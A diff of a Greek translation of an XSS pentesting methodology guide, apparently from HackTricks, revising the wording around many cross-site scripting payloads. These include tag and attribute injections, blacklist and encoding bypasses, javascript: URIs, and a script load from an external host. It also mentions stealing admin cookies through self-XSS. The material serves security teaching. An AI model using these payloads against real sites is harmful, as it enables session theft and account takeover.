Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -2,15 +2,15 @@
 
 ## Methodology
 
-1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
+1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανακλάται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
-2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται.
+2. **Βρείτε το πλαίσιο** όπου αντανακλάται/χρησιμοποιείται.
-3. Αν είναι **αντανάκλαση**
+3. Αν **αντανακλάται**
 1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload:
 1. Σε **ακατέργαστο HTML**:
 1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
 2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`;
 3. Μπορείτε να παρακάμψετε τις προστασίες;
-4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πελάτη (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πλευράς (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md).
 5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html);
 2. Μέσα σε μια **ετικέτα HTML**:
 1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο;
@@ -20,7 +20,7 @@
 3. Μέσα σε **κώδικα JavaScript**:
 1. Μπορείτε να ξεφύγετε από την ετικέτα `<script>`;
 2. Μπορείτε να ξεφύγετε από τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
-3. Είναι η είσοδός σας σε template literals \`\` ;
+3. Είναι η είσοδός σας σε template literals \`\`?;
 4. Μπορείτε να παρακάμψετε τις προστασίες;
 4. Javascript **λειτουργία** που εκτελείται
 1. Μπορείτε να υποδείξετε το όνομα της λειτουργίας που θα εκτελεστεί. π.χ.: `?callback=alert(1)`
@@ -35,29 +35,29 @@ debugging-client-side-js.md
 
 ## Reflected values
 
-Για να εκμεταλλευτείτε με επιτυχία μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανάκλαται** στη σελίδα web.
+Για να εκμεταλλευτείτε επιτυχώς μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανακλάται** στη σελίδα web.
 
-- **Ενδιάμεσα αντανάκλαση**: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και το μονοπάτι αντανάκλαται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
+- **Ενδιάμεσα αντανακλώμενη**: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και το μονοπάτι αντανακλάται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
-- **Αποθηκευμένη και αντανάκλαση**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανάκλαται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
+- **Αποθηκευμένη και αντανακλώμενη**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
 - **Πρόσβαση μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
 
 ## Contexts
 
-Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανάκλαται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
+Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανακλάται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
 
 ### Raw HTML
 
-Αν η είσοδός σας είναι **αντανάκλαση στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **HTML tag** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
+Αν η είσοδός σας είναι **αντανακλώμενη στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **HTML tag** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
-Επίσης, έχετε κατά νου [Client Side Template Injection](../client-side-template-injection-csti.md).
+Επίσης, έχετε υπόψη σας την [Client Side Template Injection](../client-side-template-injection-csti.md).
 
 ### Inside HTML tags attribute
 
-Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να δοκιμάσετε:
+Αν η είσοδός σας αντανακλάται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να προσπαθήσετε:
 
 1. Να **ξεφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
-2. Αν μπορείτε να ξεφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
+2. Αν **μπορείτε να ξεφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
-3. Αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
+3. Αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** αντανακλάται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
-4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
+4. Αν η είσοδός σας αντανακλάται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να προσπαθήσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
 
 Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:
 ```html
@@ -74,8 +74,8 @@ debugging-client-side-js.md
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Αν ανακλάται μέσα σε πρότυπες κυριολεξίες, μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
+- Αν ανακλάται μέσα σε πρότυπες κυριολεξίες μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
-- **Η κωδικοποίηση Unicode** λειτουργεί για να γράψει **έγκυρο κώδικα javascript**:
+- **Η κωδικοποίηση Unicode** λειτουργεί για να γράψετε **έγκυρο κώδικα javascript**:
 ```javascript
 alert(1)
 alert(1)
@@ -98,7 +98,7 @@ js-hoisting.md
 
 ![](<../../images/image (711).png>)
 
-Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
+Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό ότι αυτά τα endpoints θα **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
 
 Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
 
@@ -112,7 +112,7 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Μπορείτε επίσης να προσπαθήσετε να **ενεργοποιήσετε τις συναρτήσεις Javascript** απευθείας: `obj.sales.delOrders`.
+Μπορείτε επίσης να προσπαθήσετε να **ενεργοποιήσετε συναρτήσεις Javascript** απευθείας: `obj.sales.delOrders`.
 
 Ωστόσο, συνήθως τα endpoints που εκτελούν τη δηλωμένη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες.
 
@@ -124,7 +124,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλώς** κάποια **δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να εκτελέσει αυθαίρετο κώδικα JS.
+Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλώς** κάποια **δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να εκτελέσει αυθαίρετο κώδικα JS.
 
 {{#ref}}
 dom-xss.md
@@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
 
 ## Εισαγωγή μέσα σε ακατέργαστο HTML
 
-Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML encoded** ή **διαγραφεί** ή αν είναι **αντικατοπτρισμένο χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση**.\
+Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML κωδικοποιημένος** ή **διαγραμμένος** ή αν είναι **αντικατοπτρισμένος χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση**.\
 Για αυτές τις περιπτώσεις επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 _**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\*\*\***\***\*`-->`\*\***\***\*ή \*\*\*\*\*\***`--!>`\*\*_
 
-Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:
+Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρες/λευκές λίστες, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:
 ```html
 <script>
 alert(1)
@@ -176,7 +176,7 @@ alert(1)
 ```
 ### Blacklist Bypasses
 
-Αν χρησιμοποιείται κάποια μορφή μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά απλά κόλπα:
+Αν χρησιμοποιείται κάποια μορφή μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -228,7 +228,7 @@ onerror=alert`1`
 ```
 ### Length bypass (small XSSs)
 
-> [!NOTE] > **Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να τα βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
@@ -267,12 +267,12 @@ If you **cannot escape from the tag**, you could create new attributes inside th
 ```
 ### Μέσα στο χαρακτηριστικό
 
-Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** ανακλάται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ.\
+Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας ανακλάται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ σε αυτό.\
 Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
 
 **Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση**
 
-Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML tags **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML ετικετών **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
 Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**:
 ```javascript
@@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Μέρη όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα**
 
-**Γενικά**, το `javascript:` πρωτόκολλο μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **πλειονότητα** των ετικετών που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι σε `<img>`)
+**Γενικά**, το `javascript:` πρωτόκολλο μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **πλειονότητα** των ετικετών που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι `<img`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -359,9 +359,9 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
 ```
 Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
 
-**Χρησιμοποιώντας Hex και Octal κωδικοποίηση με `javascript:`**
+**Χρησιμοποιώντας Hex και Octal encode με `javascript:`**
 
-Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal κωδικοποίηση** μέσα στο `src` χαρακτηριστικό του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
+Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal encode** μέσα στο `src` attribute του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -373,17 +373,17 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
 <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
 <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
 ```
-### Αντίστροφη κατάληψη καρτέλας
+### Αντεστραμμένο tab nabbing
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Αν μπορείτε να εισάγετε οποιοδήποτε URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα **`target="_blank" και rel="opener"`** χαρακτηριστικά, ελέγξτε τη **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
+Αν μπορείτε να εισάγετε οποιοδήποτε URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα **`target="_blank" και rel="opener"`** χαρακτηριστικά, ελέγξτε την **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### σχετικά με την Παράκαμψη Χειριστών Συμβάντων
+### σχετικά με την παράκαμψη χειριστών συμβάντων
 
 Πρώτα απ' όλα, ελέγξτε αυτή τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμους **"on" χειριστές συμβάντων**.\
 Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που σας εμποδίζει να δημιουργήσετε αυτούς τους χειριστές συμβάντων, μπορείτε να δοκιμάσετε τις παρακάτω παρακάμψεις:
@@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονική, μετα)
+### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφό πεδίο, σύνδεσμος, canonical, meta)
 
-Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι τώρα δυνατό να εκμεταλλευτούμε τις κρυφές εισόδους με:**
+Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι πλέον δυνατό να εκμεταλλευτείτε τα κρυφά πεδία με:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@@ -436,7 +436,7 @@ onbeforetoggle="alert(2)" />
 - **Unicode κωδικοποίηση (μπορεί να είναι έγκυρος κωδικός JS):** `\u0061lert(1)`
 - **URL κωδικοποίηση**
 - **Hex και Octal κωδικοποίηση**
-- **κωδικοποίηση δεδομένων**
+- **data κωδικοποίηση**
 
 **Παράκαμψη για HTML tags και attributes**
 
@@ -503,7 +503,7 @@ return loop
 }
 loop``
 ```
-### Εκτελούμενος κωδικός με κωδικοποίηση
+### Κωδικοποιημένη εκτέλεση κώδικα
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
@@ -624,7 +624,7 @@ console.log(arguments);
 btt`${'arg1'}${'arg2'}${'arg3'}`
 
 //It's possible to construct a function and call it
-Function`x${'alert(1337)'}x```
+Function`x${'alert(1337)'}x`
 
 // .replace can use regexes and call a function if something is found
 "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
@@ -672,6 +672,7 @@ try{throw onerror=alert}catch{throw 1}
 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
 // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
+
 ```
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
@@ -739,14 +740,14 @@ top[8680439..toString(30)](1)
 ## **Ευπάθειες DOM**
 
 Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλή δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\
-**Λόγω της επέκτασης της εξήγησης των** [**ευπαθειών DOM μεταφέρθηκε σε αυτή τη σελίδα**](dom-xss.md)**:**
+**Λόγω της επέκτασης της εξήγησης των** [**ευπαθειών DOM, μεταφέρθηκε σε αυτή τη σελίδα**](dom-xss.md)**:**
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
 Εκεί θα βρείτε μια λεπτομερή **εξήγηση για το τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\
-Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση σχετικά με [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering).
+Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση για [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering).
 
 ### Αναβάθμιση Self-XSS
 
@@ -766,7 +767,7 @@ dom-xss.md
 
 ### Αντανάκλαση Συνεδρίας
 
-Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **αντανάκλαση συνεδρίας για διαχειριστές**, για παράδειγμα επιτρέποντας στους πελάτες να ζητούν βοήθεια, προκειμένου ο διαχειριστής να σας βοηθήσει θα βλέπει ό,τι βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία.
+Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **αντανάκλαση συνεδρίας για διαχειριστές**, για παράδειγμα επιτρέποντας στους πελάτες να ζητούν βοήθεια, προκειμένου ο διαχειριστής να σας βοηθήσει, θα βλέπει αυτό που βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία.
 
 Θα μπορούσατε να κάνετε τον **διαχειριστή να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/συνεδρία του.
 
@@ -787,7 +788,7 @@ dom-xss.md
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-Το ζευγάρι "Key","Value" θα αναπαραχθεί έτσι:
+Το ζεύγος "Key","Value" θα αναπαραχθεί όπως αυτό:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
@@ -825,14 +826,14 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS με έγχυση κεφαλίδων σε απάντηση 302
 
-Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απάντηση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο κωδικός κατάστασης της HTTP απάντησης είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
+Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απάντηση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο κωδικός κατάστασης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
 
-Στην [**αναφορά αυτή**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\
+Στο [**αυτή την αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το XSS payload μέσα στο σώμα.\
 Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`.
 
 ### Μόνο Γράμματα, Αριθμοί και Τελείες
 
-Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτήν την ενότητα αυτής της ανάρτησης**](#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
+Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα αυτής της ανάρτησης**](#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
 
 ### Έγκυροι `<script>` Τύποι Περιεχομένου για XSS
 
@@ -864,12 +865,12 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
